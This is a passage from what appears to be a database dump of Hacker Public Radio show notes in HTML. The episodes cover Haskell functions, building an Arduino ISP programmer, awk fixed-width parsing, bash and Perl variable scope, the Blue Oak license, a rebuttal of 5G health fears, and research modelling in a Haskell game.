contrived example of partial application:</p>\r\n<pre><code>findPodcasts :: [Podcast] -&gt; Text -&gt; [Podcast]\r\nsearch = findPodcasts loadedPodcasts\r\nmyPodcasts = search &quot;tuturto&quot;</code></pre>\r\n<h2 id=\"functions-as-types\">functions as types</h2>\r\n<p>Functions have type (that’s what the signature is for after all) and functions can be used as values. You can return function from another function or you can pass in a function as a parameter.</p>\r\n<p>Common example is <code>filter</code>, which has following signature: <code>filter :: (a -&gt; Bool) -&gt; [a] -&gt; [a]</code></p>\r\n<p>It takes two parameters, first one is function that has type <code>a -&gt; Bool</code> and second one is list of <code>a</code>. Return value is list of <code>a</code>. You can produce a list of odd numbers between 1 and 10 with <code>filter odd [1..10]</code>.</p>\r\n<h2 id=\"anonymous-functions\">anonymous functions</h2>\r\n<p>Sometimes you need a function to pass in as a parameter, but the function is so small that you don’t want to give it a name. For those cases, anonymous function are good. If you wanted to produce a list of odd numbers that are greater that 5 in range from 1 10, you could write it as: <code>filter (\\x -&gt; odd x &amp;&amp; x &gt; 5) [1..10]</code>. If you squint hard enough <code>\\</code> looks almost like a lowercase greek letter λ.</p>\r\n<p>Easiest way to catch me is either email or fediverse where I’m tuturto@mastodon.social</p>\r\n',364,107,0,'CC-BY-SA','haskell',0,0,1),
(2799,'2019-04-25','building an arduino programmer',1212,'turn an arduino nano into a programmer','<ol type=\"1\">\r\n<li>intro</li>\r\n</ol>\r\n<p>1.1 brian in ohio</p>\r\n<p>1.2 out from under my rock</p>\r\n<ol start=\"2\" type=\"1\">\r\n<li>motivation</li>\r\n</ol>\r\n<p>2.1 ken fallon bootloader episode</p>\r\n<ul>\r\n<li>hpr 2660</li>\r\n<li>burned many bootloaders</li>\r\n<li>used usbtiny programmer</li>\r\n<li>putting together a programmer would be a good learning experience</li>\r\n</ul>\r\n<p>2.2 still use arduino</p>\r\n<ul>\r\n<li>easy to check out a new piece of hardware</li>\r\n<li>boards are cheap and easy to find</li>\r\n<li>boards are robust</li>\r\n</ul>\r\n<p>2.3 need to run an arduino board at lower frequency</p>\r\n<ul>\r\n<li>developing a data logger</li>\r\n<li>write code in c using the avr open source tool chain</li>\r\n<li>prototype on arduino board</li>\r\n</ul>\r\n<ol start=\"3\" type=\"1\">\r\n<li>needed supplies</li>\r\n</ol>\r\n<p>3.1 arduino ide</p>\r\n<ul>\r\n<li>get from your distro’s repository</li>\r\n<li>slackbuilds i used the version that repackages the binaries, the little a arduino</li>\r\n<li>read this good information<br />\r\n<a href=\"https://www.arduino.cc/en/Tutorial/ArduinoISP\" class=\"uri\">https://www.arduino.cc/en/Tutorial/ArduinoISP</a></li>\r\n</ul>\r\n<p>3.2 avrdude</p>\r\n<ul>\r\n<li>use it to test the programmer outside of the arduino environment</li>\r\n<li>part of the gnu avr toolchain</li>\r\n</ul>\r\n<p>3.3 arduino nano clone - un assembled</p>\r\n<p><img src=\"https://www.hackerpublicradio.org/eps/hpr2799-bare-nano.jpg\" alt=\"hpr2799-bare-nano.jpg\" /></p>\r\n<ul>\r\n<li>look for the boards that have the unpoplated icsp header</li>\r\n<li>make sure its a nano and not a pro-mini</li>\r\n</ul>\r\n<p>3.4 3 leds 3mm or smaller</p>\r\n<p><img src=\"https://www.hackerpublicradio.org/eps/hpr2799-led.jpg\" alt=\"hpr2799-led.jpg\" /></p>\r\n<ul>\r\n<li>optional but are useful, especially the heartbeat led</li>\r\n</ul>\r\n<p>3.5 3 resistors 200 ohm - small</p>\r\n<ul>\r\n<li>if you install the led’s</li>\r\n</ul>\r\n<p>3.6 1 5-10 uF electrolytic capacitor</p>\r\n<p>3.7 3-4 inch long jumper wire</p>\r\n<p>3.8 2x3 female header</p>\r\n<p><img src=\"https://www.hackerpublicradio.org/eps/hpr2799-2x3header.jpg\" alt=\"hpr2799-2x3header.jpg\" /></p>\r\n<p>3.9 some way to cut wire</p>\r\n<p>3.10 soldering supplies</p>\r\n<ol start=\"4\" type=\"1\">\r\n<li>howto</li>\r\n</ol>\r\n<p>4.1 upload arduino isp sketch to nano</p>\r\n<p>File→Examples→11.ArduinoISP→ArduinoISP</p>\r\n<ul>\r\n<li>i modified the sketch changing where the led’s are placed</li>\r\n<li><p>i put the led’s at digital 9, 7, and 5 for spacing</p>\r\n<pre><code>#define RESET 10 // Use pin 10 to reset the target rather than SS\r\n#define LED_HB 9 // No change define LED_ERR 7 // changed define\r\n#LED_PMODE 5 // changed</code></pre></li>\r\n<li><p>upload the sketch</p></li>\r\n</ul>\r\n<p>4.2 solder on led’s</p>\r\n<p><img src=\"https://www.hackerpublicradio.org/eps/hpr2799-led-on-board.jpg\" alt=\"hpr2799-led-on-board.jpg\" /></p>\r\n<ul>\r\n<li>solder the anode leg to the apropriate digital pin on the board</li>\r\n<li>add a resistor to the cathode leg of the led (usually the shorter leg)</li>\r\n<li>solder the resistor attached to the cathode to ground pin of the board</li>\r\n<li>i started with pin 9</li>\r\n<li>you can test each led before moving on to the next led</li>\r\n<li>my soldering ended up messy but it gets the job done</li>\r\n</ul>\r\n<p><img src=\"https://www.hackerpublicradio.org/eps/hpr2799-leds-done.jpg\" alt=\"hpr2799-leds-done.jpg\" /></p>\r\n<p>4.3 modify sketch and test leds</p>\r\n<ul>\r\n<li>you can modify the sketch</li>\r\n<li>change the heartbeat pin to whatever led you just soldered</li>\r\n<li>upload the modified sketch</li>\r\n<li>the led you just soldered should pulse</li>\r\n</ul>\r\n<p>4.4 clip jumper wire and attach</p>\r\n<p><img src=\"https://www.hackerpublicradio.org/eps/hpr2799-reset-wire.jpg\" alt=\"hpr2799-reset-wire.jpg\" /></p>\r\n<ul>\r\n<li>pin 10</li>\r\n<li>used the hole on the end of the board as strain relief</li>\r\n</ul>\r\n<p>4.5 add capacitor</p>\r\n<ul>\r\n<li>watch polarity</li>\r\n<li>no more auto reset</li>\r\n<li>if you want to program with arduino ide, you need to push the reset button</li>\r\n</ul>\r\n<p>4.6 2x3 header</p>\r\n<pre class=\"___\"><code>                         MISO -|o o|-+Vcc\r\n                          SCK -|o o|-MOSI\r\n Do not attach-Reset-|o o|-Gnd\r\n                                     -----</code></pre>\r\n<p><img src=\"https://www.hackerpublicradio.org/eps/hpr2799-header-mod.jpg\" alt=\"hpr2799-header-mod.jpg\" /></p>\r\n<ul>\r\n<li>remove reset connecter south-west connector</li>\r\n<li>solder the remaining 5 pins</li>\r\n<li>the header is soldered on the bottom of the board</li>\r\n</ul>\r\n<p><img src=\"https://www.hackerpublicradio.org/eps/hpr2799-header-soldered.jpg\" alt=\"hpr2799-header-soldered.jpg\" /></p>\r\n<ol start=\"5\" type=\"1\">\r\n<li>how to use</li>\r\n</ol>\r\n<p>5.1 plug usb cable into programmer and your computer</p>\r\n<p>5.2 start the arduino ide</p>\r\n<p>5.3 plug programmer onto target board remember to plug the wire into the reset pin of the target</p>\r\n<p>5.4 in the tools folder of the ide make sure your usb port is selected</p>\r\n<p>Tools→Port<code>&quot;/dev/ttyUSBx&quot;</code>→<code>/dev/ttyUSBx</code></p>\r\n<p>5.5 and that in the programmer section you select arduino as isp not arduinoisp</p>\r\n<p>Tools→Programmer→Arduino as ISP</p>\r\n<p>5.6 at this point you can burn a bootloader as Ken described</p>\r\n<p>5.7 upload a program</p>\r\n<p>5.7.1 bring up the blink example sketch</p>\r\n<p>5.7.2 under tools make sure your target board type is selected</p>\r\n<p>Tools→Boards</p>\r\n<p>5.7.3 under the sketch menu you’ll see upload using a programmer</p>\r\n<p>Sketch→Upload Using Programer</p>\r\n<p>5.7.4 when you select that the blink sketch will be compiled and uploaded</p>\r\n<ol start=\"6\" type=\"1\">\r\n<li>at the command line</li>\r\n</ol>\r\n<p>6.1 check functionallity</p>\r\n<pre><code>bash-4.3$ avrdude -p m328p -c arduino -P /dev/ttyUSB0 -b 19200</code></pre>\r\n<p>6.2 output</p>\r\n<pre><code>  avrdude: AVR device initialized and ready to accept instructions\r\n\r\n  Reading | ################################################## | 100%\r\n  0.01s\r\n\r\n  avrdude: Device signature = 0x1e950f (probably m328p)\r\n\r\n  avrdude: safemode: Fuses OK (E:FD, H:DE, L:FF)\r\n\r\n  avrdude done.  Thank you.</code></pre>\r\n<ol start=\"7\" type=\"1\">\r\n<li>things to look out for</li>\r\n</ol>\r\n<p>7.1 permissions issues - arch wiki gentoo</p>\r\n<p>7.2 when you upload this way you overwrite bootloader</p>\r\n<p>7.3 arduino ide boards.txt has some fuse errors</p>\r\n<p>7.4 avrdude version 6.2 will not work</p>\r\n<p>7.5 baud rate using avrdude command line</p>\r\n<p>7.6 capacitor is non-optional, but makes uploading to that board non-trivial</p>\r\n<ol start=\"8\" type=\"1\">\r\n<li>conclusion</li>\r\n</ol>\r\n<p>8.1 upload via icsp vs usb serial</p>\r\n<p>8.2 do you need a bootloader?</p>\r\n<p>8.3 challenge to max out any 8bit microcontroller</p>\r\n<ul>\r\n<li>if you need to do one or two things use a microcontroller i.e. arduino</li>\r\n<li>if you need to do many things use a linux single board computer i.e. raspberry pi</li>\r\n</ul>\r\n',326,91,0,'CC-BY-SA','Arduino,ArduinoISP',0,0,1),
(2801,'2019-04-29','Guitar Set Up Part 1.',1724,'NYbill talks about setting up a guitar.','<p>NYbill talks about setting up a guitar.</p>\r\n<p>Pics for the episode:</p>\r\n<p><a href=\"https://media.gunmonkeynet.net/u/nybill/collection/guitar-set-up/\" class=\"uri\">https://media.gunmonkeynet.net/u/nybill/collection/guitar-set-up/</a></p>\r\n',235,0,0,'CC-BY-SA','Guitar, DIY',0,0,1),
(2804,'2019-05-02','Awk Part 13: Fix-Width Field Processing',381,'In this episode, I discuss how to deal with fix-width field text files using Awk','<h1 id=\"basic-usage\">Basic usage</h1>\r\n<p>Use the <code>FIELDWIDTHS = &quot;n1 n2 n3 ...&quot;</code> annotation in the <code>BEGIN</code> section of an awk command to specify the widths of the fields.</p>\r\n<p>For instance, the following file has widths of 20, 10, and 12 characters.</p>\r\n<pre><code>NAME                STATE     TELEPHONE\r\nJohn Smith          WA        418-311-4111\r\nMary Hartford       CA        319-219-4341\r\nEvan Nolan          IL        219-532-5301\r\nBoris Ratinski      NC        201-553-5555\r\n</code></pre>\r\n<p>Below is an example of processing such a file:</p>\r\n<pre><code>BEGIN  { FIELDWIDTHS = &quot;20 10 12&quot; }\r\nNR &gt; 1 {\r\n    name = $1\r\n    state = $2\r\n    phone = $3\r\n    sub(/ +$/, &quot;&quot;, name)\r\n    sub(/ +$/, &quot;&quot;, state)\r\n    sub(/ +$/, &quot;&quot;, phone)\r\n    printf(&quot;%s lives in %s. The phone number is %s.\\n&quot;, name, state, phone)\r\n}\r\n</code></pre>\r\n<p>Then you can run the command:</p>\r\n<pre><code>awk -f process_fixed_width.awk fixed_width.txt\r\n</code></pre>\r\n',300,94,1,'CC-BY-SA','bash,linux,cli,command-line,awk',0,0,1),
(2807,'2019-05-07','Are bash local variables local?',661,'A lesson on dynamic scope vs lexical scope','<p><a href=\"https://en.wikipedia.org/wiki/Scope_%28computer_science%29\">https://en.wikipedia.org/wiki/Scope_%28computer_science%29</a></p>\r\n<p>In <a href=\"https://hackerpublicradio.org/eps.php?id=2739\">hpr2739</a>, Dave talked briefly about local variables. But what are they?</p>\r\n<p>In most modern languages, especially in compiled languages, &quot;local&quot; means that the value of a variable cannot be directly known, by looking up the name, outside the bounds of that function, but that’s not how it works in bash.</p>\r\n<p>Languages like C and Python have <em>lexical scope</em>. Lexical scope means local variables are local in the <em>text</em>. The names are local.</p>\r\n<p>If I’m writing code that is textually located outside the function, I cannot even describe how to access the variables within the function, because <code>myvariable</code> in my function is not the same variable, not the same place, as <code>myvariable</code> in your function.</p>\r\n<p>Languages like Bash and Elisp have <em>dynamic scope</em>. That means local variables are local in <em>time</em>. The names are global.</p>\r\n<p>What happens when you declare a variable <code>local</code> in bash is that the existing value of that variable is stowed away, to be brought back when your function exits.</p>\r\n<pre><code>#!/usr/bin/env bash\r\nfunction sayscope() {\r\n    echo The scope is $whatsmyscope\r\n}\r\n\r\nfunction globalscope() {\r\n    whatsmyscope=global\r\n}\r\n\r\nfunction dynamicscope() {\r\n    whatsmyscope=dynamic\r\n}\r\n\r\nfunction localscope() {\r\n    local whatsmyscope=local\r\n    sayscope\r\n    dynamicscope\r\n    sayscope\r\n}\r\n\r\nglobalscope\r\nsayscope\r\nlocalscope\r\nsayscope</code></pre>\r\n<pre><code>The scope is global\r\nThe scope is local\r\nThe scope is dynamic\r\nThe scope is global</code></pre>\r\n<p>Perl has both, and it calls them <code>local</code> (dynamic scope, like bash) and <code>my</code> (lexical scope):</p>\r\n<pre><code>#!/usr/bin/env perl\r\nuse v5.10;\r\n\r\nsub sayscope {\r\n    say &quot;Dynamic scope is $whatsmyscope&quot;;\r\n}\r\n\r\nsub globalscope {\r\n    $whatsmyscope=&quot;global&quot;;\r\n}\r\n\r\nsub dynamicscope {\r\n    $whatsmyscope=&quot;dynamic&quot;;\r\n}\r\n\r\nsub lexicalscope {\r\n    my $whatsmyscope=&quot;lexical&quot;;\r\n    say &quot;Lexical scope is $whatsmyscope&quot;;\r\n    sayscope;\r\n}\r\n\r\nsub localscope {\r\n    local $whatsmyscope=&quot;local&quot;;\r\n    sayscope;\r\n    dynamicscope;\r\n    sayscope;\r\n    lexicalscope;\r\n}\r\n\r\nglobalscope;\r\nsayscope;\r\nlocalscope;\r\nsayscope;</code></pre>\r\n<pre><code>Dynamic scope is global\r\nDynamic scope is local\r\nDynamic scope is dynamic\r\nLexical scope is lexical\r\nDynamic scope is dynamic\r\nDynamic scope is global</code></pre>\r\n<p>You almost never want to use <code>local</code> in Perl, it’s mostly there for historical reasons — lexical scope is a Perl 5 feature. <a href=\"https://perl.plover.com/local.html\" class=\"uri\">https://perl.plover.com/local.html</a> covers well the remaining few and narrow exceptions where <code>local</code> might be useful.</p>\r\n<p>As dynamic scope has <em>some</em> valid use, it’s available in some otherwise lexically scoped languages. For example, Common LISP has the <em>special</em> form, and several Schemes and Racket have <em>parameter objects</em>:</p>\r\n<ul>\r\n<li><p><a href=\"https://www.lispworks.com/documentation/HyperSpec/Body/d_specia.htm\" class=\"uri\">https://www.lispworks.com/documentation/HyperSpec/Body/d_specia.htm</a></p></li>\r\n<li><p><a href=\"https://srfi.schemers.org/srfi-39/srfi-39.html\" class=\"uri\">https://srfi.schemers.org/srfi-39/srfi-39.html</a></p></li>\r\n<li><p><a href=\"https://docs.racket-lang.org/reference/parameters.html\" class=\"uri\">https://docs.racket-lang.org/reference/parameters.html</a></p></li>\r\n</ul>\r\n<p>To dig fully into the history and flora of dynamic and lexical scope merits another episode.</p>\r\n\r\n\r\n',311,42,0,'CC-BY-SA','bash, perl, scope, dynamic scope, lexical scope',0,0,1),
(2822,'2019-05-28','What\'s in the Box! Part 1',1265,'NYbill opens a mystery box he found in the mail box.','<p>NYbill opens a mystery box that arrived in the mail.</p>\r\n<p>No spoilers. But, it involves soldering…</p>\r\n<p>Pics for the episode:</p>\r\n<p><a href=\"https://media.gunmonkeynet.net/u/nybill/collection/what-s-in-the-box/\" class=\"uri\">https://media.gunmonkeynet.net/u/nybill/collection/what-s-in-the-box/</a></p>',235,103,0,'CC-BY-SA','DIY, Soldering, Guitar, electronics',0,0,1),
(2823,'2019-05-29','Gentoo and why I use it',748,'I talk about what Gentoo is, and why I love it so much.','<p>Thanks to <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\">norrist</a> for suggesting I do this episode!</p>\r\n<ul>\r\n<li><a href=\"https://gentoo.org/\" class=\"uri\">https://gentoo.org/</a></li>\r\n</ul>\r\n',374,0,0,'CC-BY-SA','Gentoo',0,0,1),
(2824,'2019-05-30','Gnu Awk - Part 15',1916,'Redirection of input and output - part 2','<h2 id=\"introduction\">Introduction</h2>\r\n<p>This is the fifteenth episode of the “<a href=\"https://hackerpublicradio.org/series.php?id=94\" title=\"Learning Awk\">Learning Awk</a>” series which is being produced by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" title=\"b-yeezi\">b-yeezi</a> and myself.</p>\r\n<p>This is the second of a pair of episodes looking at <em>redirection</em> in Awk scripts.</p>\r\n<p>In this episode I will spend some time looking at the <code>getline</code> command used for <em>explicit input</em> (as opposed to the usual <em>implicit</em> sort), often with redirection. The <code>getline</code> command is a complex subject which I will cover only relatively briefly. You are directed to the <a href=\"https://www.gnu.org/software/gawk/manual/gawk.html#Getline\" title=\"Explicit Input with getline\"><code>getline</code> section</a> of the GNU Awk User’s Guide for the full details.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2824/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/gawk/manual/html_node/index.html\"><em>GNU Awk User’s Guide</em></a>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/gawk/manual/gawk.html#Getline\">Explicit Input with <code>getline</code></a></li>\r\n<li><a href=\"https://www.gnu.org/software/gawk/manual/gawk.html#Plain-Getline\">Using <code>getline</code> with No Arguments</a></li>\r\n<li><a href=\"https://www.gnu.org/software/gawk/manual/gawk.html#Getline_002fCoprocess\">Using <code>getline</code> with a <em>coprocess</em></a></li>\r\n<li><a href=\"https://www.gnu.org/software/gawk/manual/gawk.html#Getline-Notes\">Getline notes</a></li>\r\n<li><a href=\"https://www.gnu.org/software/gawk/manual/gawk.html#Two_002dway-I_002fO\">Two-way I/O</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Previous shows in this series on HPR:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2114\">“<em>Gnu Awk - Part 1</em>”</a> - episode 2114</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2129\">“<em>Gnu Awk - Part 2</em>”</a> - episode 2129</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2143\">“<em>Gnu Awk - Part 3</em>”</a> - episode 2143</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2163\">“<em>Gnu Awk - Part 4</em>”</a> - episode 2163</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2184\">“<em>Gnu Awk - Part 5</em>”</a> - episode 2184</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2238\">“<em>Gnu Awk - Part 6</em>”</a> - episode 2238</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2330\">“<em>Gnu Awk - Part 7</em>”</a> - episode 2330</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2438\">“<em>Gnu Awk - Part 8</em>”</a> - episode 2438</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2476\">“<em>Gnu Awk - Part 9</em>”</a> - episode 2476</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2526\">“<em>Gnu Awk - Part 10</em>”</a> - episode 2526</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2554\">“<em>Gnu Awk - Part 11</em>”</a> - episode 2554</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2610\">“<em>Gnu Awk - Part 12</em>”</a> - episode 2610</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2804\">“<em>Gnu Awk - Part 13</em>”</a> - episode 2804</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2816\">“<em>Gnu Awk - Part 14</em>”</a> - episode 2816</li>\r\n</ul></li>\r\n<li>Resources:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2824/full_shownotes.epub\">ePub version of these notes</a></li>\r\n<li>Examples: <a href=\"https://hackerpublicradio.org/eps/hpr2824/awk15_testdata1\">awk15_testdata1</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2824/awk15_ex1.awk\">awk15_ex1.awk</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2824/awk15_ex2.awk\">awk15_ex2.awk</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2824/awk15_testdata2\">awk15_testdata2</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2824/awk15_ex3.awk\">awk15_ex3.awk</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2824/awk15_ex4.awk\">awk15_ex4.awk</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2824/awk15_ex5.awk\">awk15_ex5.awk</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2824/awk15_ex6.awk\">awk15_ex6.awk</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2824/awk15_ex7.awk\">awk15_ex7.awk</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,94,1,'CC-BY-SA','Awk utility, Awk Language, gawk, redirection',0,0,1),
(2809,'2019-05-09','The Blue Oak Model License and Its One Big Gotcha',1268,'Introducing and examining a new and elegant permissive software license.','<p>The Blue Oak Model License 1.0.0 was just released this month. In this episode I read the license, explain where it sits in among other software licenses, and enumerate some of the problems it purports to solve.</p>\r\n<p>I’m no legal expert, so take all of this as sort of a rough introduction to the license.</p>\r\n<p>Overall, if you are looking at permissive (vs copyleft) licenses, I would strongly suggest you consider this license! It’s concise, robust, it was developed by credible people, and gives your users future-proof safety from a number of common legal traps.</p>\r\n<p>However: just note that it has a feature, some would say bug, that <em>might</em> be a big deciding factor in whether you feel comfortable with it (listen for details)</p>\r\n<p>Nevertheless, I believe this license, or at least its style of language, will soon become extremely common.</p>\r\n<p>Further links:</p>\r\n<ul>\r\n<li><a href=\"https://blueoakcouncil.org/license/1.0.0\">The Blue Oak Model License 1.0.0</a> — the license itself. You may also wish to read <a href=\"https://blueoakcouncil.org/2019/03/06/model.html\">the group’s statement</a> about their methodology and how the license came to be.</li>\r\n<li><a href=\"https://writing.kemitchell.com/2019/03/09/Deprecation-Notice.html\"><em>Deprecation Notice: MIT and BSD</em></a> — the blog post I mention in the recording, by Blue Oak council member, developer and IP lawyer Kyle Mitchell. He explains some problems he sees with the MIT and BSD licenses and how the BOML addresses them.</li>\r\n<li><a href=\"https://news.ycombinator.com/item?id=19347797\">Discussion on Hacker News</a> — This was a pretty good discussion. Kyle Mitchell also chimed in here to respond to some criticisms and tire-kicking of this license (you can recognize him by his handle <code>kemitchell</code>).</li>\r\n</ul>\r\n<p>Not mentioned in the recording: One thing that caused me a bit of confusion at first was the term “attribution”. Kyle and the Blue Oak folks use this term mainly to talk about <em>license terms</em>, not <em>authorship</em> or <em>credit</em>. So for them an attribution requirement is a requirement to include the <em>license terms</em> with any distributed copies, not a requirement to give authorship credit to people.</p>\r\n<p>If you want to use this license as a starting point for your own “bespoke” license, you can! As I mention in the recording, I created my own variant of the Blue Oak license for one of my own projects. My main change was a strong requirement for downstream users to give credit to upstream contributors—not just when redistributing source code, but in all published software, books and websites created with the software!</p>\r\n<ul>\r\n<li><a href=\"https://thelocalyarn.com/cgi-bin/yarncode/doc/licensing/LICENSE.md\">The Local Yarn License 1.0.0</a> — This is the license as it currently sits in an experimental branch in my project’s Fossil repository</li>\r\n<li><a href=\"https://thelocalyarn.com/cgi-bin/yarncode/technote/8dfa234a1779782be090b36a6b1bcccfabd95b20\">Notes about my customizations</a> — Another tech note from the Fossil repo.</li>\r\n</ul>\r\n<p>Of course, when you make your own changes, you had better think hard about them, and if possible, get the advice of an Actual Lawyer who can discuss your particular situation.</p>\r\n',376,0,0,'CC-BY-SA','legal, licensing',0,0,1),
(2812,'2019-05-14','Is 5G mobile data a danger to your health?',484,'Apply Betteridge’s Law of Headlines to find out the answer','<p>This is mostly verbatim from my Fediverse post <a href=\"https://libranet.de/display/0b6b25a8-165c-9c7f-b55d-c7a077813050\" class=\"uri\">https://libranet.de/display/0b6b25a8-165c-9c7f-b55d-c7a077813050</a>, with a few minor edits.</p>\r\n<p>The anti-5G campaign has been cooking for many years now, and at the epicenter of it all are two men, Lennart Hardell and Rainer Nyberg. It’s a Swedish-Finnish phenomenon that is now really making the rounds and spreading internationally, as actual commercial deployment of 5G networks draws nearer.</p>\r\n<p>As a Swede, I apologize. These two do not represent the Swedish or Finnish cancer or radiation research community, and our media have given them far more space in the public discourse than their work merits.</p>\r\n<p>They are heavily quoted in networks of pseudoscience, including anti-vaccine sites, right-wing &quot;alternative facts&quot; sites and Strålskyddsstiftelsen (&quot;Swedish Radiation Protection Foundation&quot;), a private foundation created in 2012 with a deceptive name meant to invoke authority, which has had to be corrected on multiple occasions by the actual Swedish Radiation Safety Authority, Strålskyddsmyndigheten.</p>\r\n<p>Strålskyddsstiftelsen received the 2013 &quot;Misleader of the Year&quot; award from the main Swedish scientific skeptics\' society, Vetenskap och Folkbildning (&quot;Science and Public Education&quot;) for &quot;[their fearmongering propaganda and biased reporting on the health effects of mobile telephony use and wireless networks]&quot;.</p>\r\n<p><a href=\"https://www.vof.se/utmarkelser/tidigare-utmarkelser/aretas-forvillare-2013/\" class=\"uri\">https://www.vof.se/utmarkelser/tidigare-utmarkelser/aretas-forvillare-2013/</a> (in Swedish)</p>\r\n<p>These networks are part of a feedback loop where they get media attention, politicians pick up on their claims and use them to invoke the precautionary principle and get precautionary regulation in place, or judges rule based on the claims, which then gets quoted by these entities as evidence that they were right all along.</p>\r\n<p>They make it very hard to find factual information on whether millimeter-wavelength radiation actually has any different effect from the centimeter-wavelength radiation that we have been using for over two decades without any documented harmful effects, because wherever you look you just find these sites claiming that we have definitely had adverse health effects for the last two decades and the new frequency bands will definitely be far worse.</p>\r\n<p>When you dig deeper into the claims on these sites you find a handful of cherry-picked articles, leading back to the two men mentioned at the top, to studies with flawed methodology like self-reported surveys on mobile telephony use among cancer patients, or to the pseudoscience/media/politics/law feedback loop. And it’s all about centimeter waves, which simply have shown no conclusive sign of increasing brain cancers or any other adverse health effect related to the radiation. For every positive report made you can find one that reports brain cancer fell as we introduced mobile phones. There is a massive body of data, and if the signal were there, we would have seen it by now.</p>\r\n<p>I’m no cancer researcher, but neither is Rainer Nyberg, he’s a retired professor in pedagogy. He’s a concerned citizen. <a href=\"https://en.wikipedia.org/wiki/Lennart_Hardell\" class=\"uri\">https://en.wikipedia.org/wiki/Lennart_Hardell</a> is an actual oncologist and professor who has studied carcinogens, but his research results on the wireless/cancer connection have been dismissed as &quot;non-informative&quot;, &quot;post hoc&quot;, &quot;barely statistically significant&quot; and &quot;flawed&quot; by his peers. There is nothing there.</p>\r\n<p>We know that high-voltage 16.7 Hz fields increase the risk for leukemia in train drivers, but we don’t know why. I am open to the possibility that 20-50 GHz waves have different consequences from 2 GHz waves, but I’d have to hear it from a credible source.</p>\r\n<p>Straight up DNA mutation is out the window, and that’s one of the centerpoints of these campaigns. This is still frequencies below visual light, it’s not ionizing radiation. No plausible mechanism has been suggested, and there is no clear data on any adverse effects.</p>\r\n<p>We use millimeter waves for the full body scans in US airports. Surely the effects of those have been studied? The top search results go to truthaboutcancer and infowars and similar names I won’t even bother to click. I don’t want to read another article about how all cancer research after 1950 has been wrong, we should all just eat chalk to balance our acidity, and cancer is a fungus.</p>\r\n<p>Apart from the pseudoscience sites I found one paper on the first search results page, concluding that X-ray backscatter scanners have well-known risks, but radiation levels are far below safety standards, both for passengers and for security staff, and also below the background radiation exposure while flying, and millimeter-wave scanners, while an &quot;alarmingly small amount of information about its potential health effects&quot; is available, &quot;The established health effects associated with non-ionizing radiation are limited to thermal effects&quot; and &quot;these scanners operate at outputs well below those required to produce tissue heating&quot;, that is, we currently don’t know of a way millimeter waves might be harmful: <a href=\"https://www.sciencedirect.com/science/article/pii/S1687850714000168\" class=\"uri\">https://www.sciencedirect.com/science/article/pii/S1687850714000168</a> (<a href=\"https://doi.org/10.1016/j.jrras.2014.02.005\" class=\"uri\">https://doi.org/10.1016/j.jrras.2014.02.005</a>)</p>\r\n<p>For a guide on how to spot pseudoscience and how to read scientific papers, see ahuka’s excellent <a href=\"https://hackerpublicradio.org/eps.php?id=2695\">hpr2695: Problems with Studies</a>.</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Betteridge%27s_Law_of_Headlines\">https://en.wikipedia.org/wiki/Betteridge%27s_Law_of_Headlines</a></p>',311,0,0,'CC-BY-SA','5g, health, radiation, pseudoscience',0,0,1),
(2818,'2019-05-22','Writing Web Game in Haskell - Science, part 1',2606,'tuturto explains types and data they used to model science in their Haskell game','<h2 id=\"background\">Background</h2>\r\n<p>This is rather large topic, so I split it in two episodes. Next one should follow in two weeks if everything goes as planned. First part is about modeling research, while second part concentrates on how things change over time.</p>\r\n<p>There’s three types of research: engineering, natural sciences and social sciences. Research costs points that are produced by various buildings.</p>\r\n<h2 id=\"implementation\">Implementation</h2>\r\n<p>There’s three database tables, which are defined below:</p>\r\n<pre><code>CurrentResearch\r\n    type Technology\r\n    progress Int\r\n    factionId FactionId\r\n\r\nAvailableResearch\r\n    type Technology\r\n    category TopResearchCategory\r\n    factionId FactionId\r\n\r\nCompletedResearch\r\n    type Technology\r\n    level Int\r\n    factionId FactionId\r\n    date Int</code></pre>\r\n<h2 id=\"data-types\">Data types</h2>\r\n<p><code>Technology</code> is enumeration of all possible technologies. Knowing these enable player to build specific buildings and space ships, enact various laws and so on. In the end this will be (hopefully) large list of technologies.</p>\r\n<pre><code>data Technology =\r\n    HighSensitivitySensors\r\n    | SideChannelSensors\r\n    | HighTensileMaterials\r\n    | SatelliteTechnology\r\n    | BawleyHulls\r\n    | SchoonerHulls\r\n    | CaravelHulls\r\n    ...\r\n    deriving (Show, Read, Eq, Enum, Bounded, Ord)</code></pre>\r\n<p>All research belong to one of the top categories that are shown below:</p>\r\n<pre><code>data TopResearchCategory =\r\n    Eng\r\n    | NatSci\r\n    | SocSci\r\n    deriving (Show, Read, Eq, Ord)</code></pre>\r\n<p><code>ResearchCategory</code> is more fine grained division of 